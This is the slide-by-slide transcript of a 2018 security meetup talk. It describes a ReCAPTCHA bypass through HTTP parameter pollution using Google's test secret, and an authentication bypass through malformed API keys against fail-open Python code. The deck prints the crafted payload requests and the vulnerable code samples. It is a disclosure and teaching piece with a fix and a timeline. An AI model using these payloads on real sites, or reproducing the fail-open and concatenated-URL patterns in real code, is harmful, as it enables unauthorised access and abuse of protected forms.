Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Injecting into URLs / Breaking URL-Encoding

Injecting into URLs / Breaking URL-Encoding

ReCAPTCHA bypass and authentication bypass. Both using URL-encoding tricks.

andresriancho

August 20, 2018
Tweet

More Decks by andresriancho

Other Decks in Programming

Transcript

  1. Injecting into URLs
    Breaking URL-Encoding
    Meetup
    Buenos Aires, Argentina

    View full-size slide

  2. /me
    ● Application security expert (web|API)
    ● Developer (Python!)
    ● Open Source evangelist
    ● w3af project leader
    ● Independent application security consultant

    View full-size slide

  3. Bypassing Google
    ReCAPTCHA
    (in some scenarios)

    View full-size slide

  4. ReCAPTCHA
    Prevents automation by asking the user to solve
    tasks which are easy for humans but hard for
    computers.

    View full-size slide

  5. User sends solution to application
    Clicking on the Verify button will send this HTTP
    request to the application:
    POST /verify-recaptcha-response HTTP/1.1
    Host: vulnerable-app.com
    recaptcha-response={user-response}

    View full-size slide

  6. Verify response with the API
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    Content-Type: application/x-www-form-urlencoded
    recaptcha-response={user-response}&secret={application-secret}
    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    Content-Length: 90
    {
    "success": true,
    "challenge_ts": "2018-01-29T17:58:36Z", ...
    }
    Google's ReCAPTCHA API verifies the user's response:

    View full-size slide

  7. Verify response with the API
    private String sendPost(String CaptchaResponse, String Secret) {
    String url = "https://www.google.com/recaptcha/api/siteverify";
    url += "?response=";
    url += CaptchaResponse;
    url += "&secret=";
    url += Secret;
    URL obj = new URL(url);
    HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
    ...
    Google's ReCAPTCHA API verifies the user's response:

    View full-size slide

  8. HTTP parameter pollution
    POST /verify-recaptcha-response HTTP/1.1
    Host: vulnerable-app.com
    recaptcha-response=anything%26secret%3dxyz
    Injecting parameters into the API request:
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    ...
    recaptcha-response=anything&secret=xyz&secret={application-secret}

    View full-size slide

  9. ReCAPTCHA duplicate parameters
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    ...
    recaptcha-response={user-response}&secret={application-secret}
    &secret={another-secret-application-secret}
    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    ...
    ReCAPTCHA accepted duplicate parameter names, using the first one
    and discarding the second:

    View full-size slide

  10. ReCAPTCHA and integration tests
    ReCAPTCHA allows developers to configure a
    specific application secret (should only be used in
    non-production environments) which forces
    ReCAPTCHA to always return "success".
    6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
    https://developers.google.com/recaptcha/docs/faq

    View full-size slide

  11. Bypass ReCAPTCHA
    POST /verify-recaptcha-response HTTP/1.1
    Host: vulnerable-app.com
    recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFu
    ojJ4WifJWe
    Injecting parameters into the API request:
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    ...
    recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4
    WifJWe&secret={application-secret}

    View full-size slide

  12. Requirement: HPP
    There are two strong requirements for this vulnerability to be exploitable in a web
    application:
    1. The application needs to have an HTTP parameter pollution vulnerability in the
    ReCAPTCHA url creation.
    Github searches showed that ~60% of the integrations with ReCAPTCHA are
    vulnerable
    ProTip: Never, ever, use string concatenation or formatting for creating
    URLs.

    View full-size slide

  13. Requirement: Order
    There are two strong requirements for this vulnerability to be exploitable in a web
    application:
    2. The vulnerable web application needs to create the URL with the response parameter
    first, and then the secret:
    This allows the attacker to control the first "secret" parameter.
    Strangely, almost all applications do it the other way. My guess is that Google’s
    documentation and code examples did it like that, and others simply copied from
    there.
    Google got lucky there… if they would have done it the other way around, this
    vulnerability would have affected even more sites. GitHub searches showed that only
    5 to 10% of the ReCAPTCHA implementations meet this requirement.
    response=…&secret=…

    View full-size slide

  14. Only 3% meet the requirements

    View full-size slide

  15. Risks: Login brute force, spam, etc.
    What is usually protected by ReCAPTCHA?
    ● Authentication
    ● Password reset and user registration
    ● Comments section
    Those things could have been bypassed!

    View full-size slide

  16. Fix: No duplicate parameter names
    Google fixed this issue by rejecting all HTTP requests
    that have more than one parameter named the
    same way.
    This fix is smart: protects all vulnerable applications
    without requiring them to apply any changes nor
    fixing their vulnerabilities.

    View full-size slide

  17. Google's Bug Bounty
    (rant)

    View full-size slide

  18. Bounty
    ● Jan-29 / Vulnerability is reported to Google
    ● Jan-30 / Google replies: “reCAPTCHA is working exactly as designed“
    ● Jan-31 / I ask them to please re-read the vulnerability report
    ● Jan-31 / Google asks for more information
    ● Feb-1 / Google confirms vulnerability
    ● Feb-15 / Google awards 500 USD for the vulnerability report.
    Money donated to charity.
    ● Mar-25 / Patch is released

    View full-size slide

  19. Breaking URL-Encoding
    Authentication bypass

    View full-size slide

  20. Spot the bug!
    The following code was found during one of
    my application security assessments.
    Spot the bug, tell us how to exploit it, win a
    beer!

    View full-size slide

  21. import requests
    class AuthenticationManager(object):
    API_AUTHORIZE_URL = "http://auth.service/authenticate?key=%s"
    def authenticate(self, api_key):
    authenticated = True
    url = self.API_AUTHORIZE_URL % api_key
    try:
    response = requests.get(url).json()
    except Exception, e:
    # Gets here on connection error, 400, 403, 404, 500
    logging.error('Exception: %s' % e)
    else:
    # response looks like {"result": true}
    return response['result']
    return authenticated

    View full-size slide

  22. GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: %xy
    Exploitation: Breaking URL encoding
    The API key is specially crafted to trigger an
    error in the internal authentication API. Most
    likely triggering 400 (Bad Request).
    The default-open implementation of the
    authenticate method will grant the attacker
    access.

    View full-size slide

  23. GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: AAA*10000
    Other ways to break URLs?
    GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: #
    GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: %3c%0a <--- bad unicode

    View full-size slide

  24. For hire
    Does your company or startup need these services?
    ● Application Penetration Test
    ● Secure Coding Training for Developers
    ● Source Code Review
    ● Cloud Security Assessment
    Let me know, I can help you deliver secure web applications.

    View full-size slide